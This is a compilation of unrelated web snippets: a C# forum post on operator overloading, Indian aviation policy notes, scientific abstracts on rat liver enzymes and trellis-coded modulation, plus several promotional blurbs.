Start building with 50+ products and up to 12 months usage for Elastic Compute Service
 - Sales Support
 1 on 1 presale consultation
 - After-Sales Support
 24/7 Technical Support 6 Free Tickets per Quarter Faster Response
 - Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.


Go4Expert
Go4Expert (_URL_
- C# (_URL_
- - Overload Appropriate Operators (_URL_
arunlalds 13Mar2010 15:14
Overload Appropriate Operators

Operator overloading is like sugar: a little is sweet, but a lot will make
you sick. Ensure that you only use this technique for situations that make sense.
Implement operator +
Notice that the method is public static and takes both operators as arguments.
Code:
public static Vertex3d operator +(Vertex3d a, Vertex3d b)
{
return new Vertex3d(a.X + b.X, a.Y + b.Y, a.Z + b.Z);
}
The same principal can be applied to the -, *, /, %, &, |, <<, >>, !, ~, ++, and -- operators
as well.
Implement operator == and operator !=
These should always be implemented as a pair. Because we've already implemented a
useful Equals() method, just call that instead.
Code:
public static bool operator ==(Vertex3d a, Vertex3d b)
{
return a.Equals(b);
}
public static bool operator !=(Vertex3d a, Vertex3d b)
{
return !(a==b);
}
What if the type is a reference type? In this case, you have to handle null values for
both a and b, as in this example:
Code:
public static bool operator ==(CatalogItem a, CatalogItem b)
{
if ((object)a == null && (object)b == null)
return true;
if ((object)a == null || (object)b == null)
return false;
return a.Equals(b);
}
public static bool operator !=(CatalogItem a, CatalogItem b)
{
return !(a == b);
}
All times are GMT +5.5. The time now is 14:18.


What's the stop?
We've chosen our next destination!
Booker is super excited about where we're headed. But we want to keep you guessing where it might be. So here are a few clues.
 1. It's often known as "The Pearl of the Indian Ocean".
 2. We're going to be eating locally grown cinnamon and coconuts.
 3. The place has eight UNESCO World Heritage Sites, over 24 wildlife reserves, and 350 waterfalls.
 4. Its culture is over 2,500 years old.
Why not tweet us/facebook if you think you've sussed it.
Leave a reply


text:
Regional Connectivity Scheme
- The Indian Aviation sector has not been able to develop in accordance with its true potential. Out of 125 crore Indians, 35 crore are middle-class but the number of tickets sold is only eight crore. It's a pity that middle-class Indians with reasonable amount of disposable income are not able to fly once in four years.
- Lack of regional connectivity- Many parts of India especially the North East lack the necessary air connectivity.
- Hence, the Regional Connectivity Scheme (RCS) has been launched to fulfil the following objectives:
- to make flying affordable for the masses
- to promote tourism
- increase employment
- Promote balanced regional growth.
- It also intends to put life into un-served and under - served airports
Features of scheme
- Aircrafts and helicopter operators would be required to assess the demand on various routes and submit their proposal for providing connectivity on such routes.
- The procedure for selecting Airline Operators would be based on reverse bidding mechanism.
- The airlines would be required to earmark certain number of seats on every flight for the RCS. The fare for such seats would be capped based on flight distance and time. For eg passengers will be able to fly an hour's journey (of about 500 km) for an all-inclusive fare of Rs 2,500
- Airfares will be capped in the range of Rs.1,700-Rs.4,070 and will be revised every quarter based on the prevailing inflation rate.
- The Airlines would also be required to maintain a frequency of minimum, three flights per week and maximum seven flights per week.
- Airport Authority of India will be the implementing Agency for the Scheme.
- The RCS route would have to include un-served airports i.e. airports where there is no scheduled commercial flight or under-served airports i.e. airports which have 7 or less scheduled commercial flights per week.
- The RCS routes would cover a length between 200 to 800 km. But this criteria would not apply to hilly areas, islands, North-east region and for helicopter operations.
- A Regional Connectivity Fund would be created to subsidise the operation of the RCS
- Viability Gap funding would be given to the selected airlines. The VGF support for respective routes would be indexed to inflation and ATF prices which would be reviewed periodically. The VGF support would also be linked to the passenger volumes.
- The Exit Mechanism for selected airlines would be made easy after a period of one year
- The selected Airlines will enjoy a period of exclusivity on the awarded routes.
- The Central Government will support the RCS Scheme by levying an excise duty of only 2% on Aviation Turbine Fuel (ATF) purchased at RCS Airports for a period of three years.
- As the Indian economy grows, consumption-led growth in populated metros is expected to spill over to hinterland areas. This is also expected to be on account of factors of production (land, labour, etc.) becoming costlier in the densely populated metro cities. In this scenario, air connectivity can provide required impetus to the economic growth of such regional centres. Hence, this scheme is definitely well-intended.
- The capped airfares and increased connectivity would certainly bring flying to the middle classes as envisaged by the draft aviation policy.
- For airlines
- Airline Operators will exempt RCS flights from landing charges, parking charges, and terminal navigation landing charges.
- Airlines will get security and fire services free of cost, besides providing electricity, water and other utility services at concessional rates.
- Airlines operating on regional connectivity scheme routes will get exclusive rights to fly in the particular sector.The move is well aimed at providing sustainability to their operations for one-three years.
- The NITI Aayog's had earlier objected to the cross-subsidy idea i.e. levies on trunk routes to fund connectivity to places where an airline would not otherwise wish to go. Such cross-subsidy, it reportedly felt, was unnecessary and costly, tampering with the way the market worked.
1. The hindu
2. Economic Times
3. Press information bureau


text:
Pipe Stiffener Crack Detection using Alternating Current Field Measurement and Phased Array Ultrason
Advanced non-destructive testing (NDT) techniques like alternating current field measurement (ACFM) and phased array ultrasonic testing (PAUT) are being deployed on hydropower and water navigation structures more and more frequent as these structures age. This article presents a dual approach using ACFM and PAUT for detection and sizing of fatigue cracks in discharge tube fillet welds that connect a variety of different stiffener types to large diameter stiffener tubes used to transport water downstream from a dam to an upstream irrigation canal.
Fatigue Cracks in Discharge Tubes
The discharge tubes cited in this case study are large diameter steel or galvanized steel pipelines that transport water upward from the river downstream of a dam to a canal used for irrigation water. Several types of stiffeners are deployed to reinforce these discharge tubes including collar stiffeners, "T" type stiffeners and "H" type stiffeners. Each discharge pipe also uses periodically spaced supports which consist of two fillet welded collars connected via cross bracing which is also welded to the discharge tube.


Text::Tabs performs the same job that the unix expand(1) and unexpand(1) commands do: adding or removing tabs from a document. Text::Wrap::wrap() will reformat lines into paragraphs. All it does is break up long lines, it will not join short lines together. Text::Fill::fill() will reformat blocks of text into paragraphs. It uses Text::Wrap::wrap() to do the work Install them with: perl Makefile.PL make make test make install


text:
Theodor W. Knacke Aerodynamic Decelerator Systems Award
The Theodor W. Knacke Aerodynamic Decelerator Systems Award is presented to recognize significant contributions to the advancement of aeronautical or aerospace systems through research, development and application of the art and science of aerodynamic decelerator technology. This award is presented biennially (in odd-numbered years) the Aerodynamic Decelerator Systems Conference (co-located with the PIA Symposium).
Nomination Deadline: 1 October
- Full Name: Dr Karl F Doherr
- Category: Technical Excellence
- AIAA Citation: For demonstrated leadership and experience in modeling flight dynamics of modern parachute systems; and for creativity, technical depth and other contributions to the science of decelerator systems design


text: Branched chain amino-acid aminotransferase (BCAT) activity is present in fetal liver but the developmental pattern of mitochondrial BCAT (BCATm) expression in rat liver has not been studied. The aim of this study was to determine the activity, protein and mRNA concentration of BCATm in fetal and postnatal rat liver, and to localize this enzyme at the cellular and subcellular levels at both developmental stages. Maximal BCAT activity and BCATm mRNA expression occurred at 17 days' gestation in fetal rat liver and then declined significantly immediately after birth. This pattern was observed only in liver; rat heart showed a different developmental pattern. Fetal liver showed intense immunostaining to BCATm in the nuclei and mitochondria of hepatic cells and blood cell precursors; in contrast, adult liver showed mild immunoreactivity located only in the mitochondria of hepatocytes. BCAT activity in isolated fetal liver nuclei was 0.64 mU x mg(-1) protein whereas it was undetectable in adult liver nuclei. By Western blot analysis the BCATm antibody recognized a 41-kDa protein in fetal liver nuclei, and proteins of 41 and 43 kDa in fetal liver supernatant. In adult rat liver supernatant, the BCATm antibody recognized only a 43-kDa protein; however, neither protein was detected in adult rat liver nuclei. The appearance of the 41-kDa protein was associated with the presence of the highly active form of BCATm. These results suggest the existence of active and inactive forms of BCAT in rat liver.


text:
Trellis code design for spatial modulation
In this paper we propose a novel MIMO transmission scheme called trellis coded spatial modulation (TC-SM) in which the trellis (convolutional) encoder and the spatial modulation (SM) mapper are jointly designed similar to the conventional trellis coded modulation (TCM). A soft decision Viterbi decoder which is fed with the soft information supplied by the optimal SM decoder is used at the receiver. We derive the pairwise error probability (PEP) upper bound for the TC-SM scheme in uncorrelated quasi-static Rayleigh fading channels. From the PEP upper bound code design criteria are given and then used to obtain new 4- 8- and 16-state TC-SM schemes using QPSK (quadrature phase-shift keying) and 8-PSK modulations for 2 bits/s/Hz and 3 bits/s/Hz spectral efficiencies respectively. We show by computer simulations that the proposed TC-SM schemes achieve significantly better error performances than their counterparts at the same spectral efficiency with reduced decoding complexity. © 2011 IEEE.


text:
We know that climate change is real. Data is the language of science; however, data alone is often incomprehensible to the average person. This panel and our real-life experiential escape room make scientific findings accessible and encourage informed discussion and decision making by all. At UT Austin, leveraging existing data and expertise, we're developing an escape room to explore how scientific research can be integrated into an engaging, entertaining and educational storytelling experience.
Programming descriptions are generated by participants and do not necessarily reflect the opinions of SXSW.


text:
KidzMondo Doha is an international edutainment concept designed to provide a complete solution for children in a unique indoor theme park. This kids' city is created to impart knowledge through playful learning. Children will experience age-appropriate activities in a dynamic and safe surroundings. It is an interactive and educational environment where kids simulate a profession, wear their respective uniforms and perform the role of a doctor, pilot and others.
Shop at KidzMondo using the Mall of Qatar Gift Card and enjoy the following discount: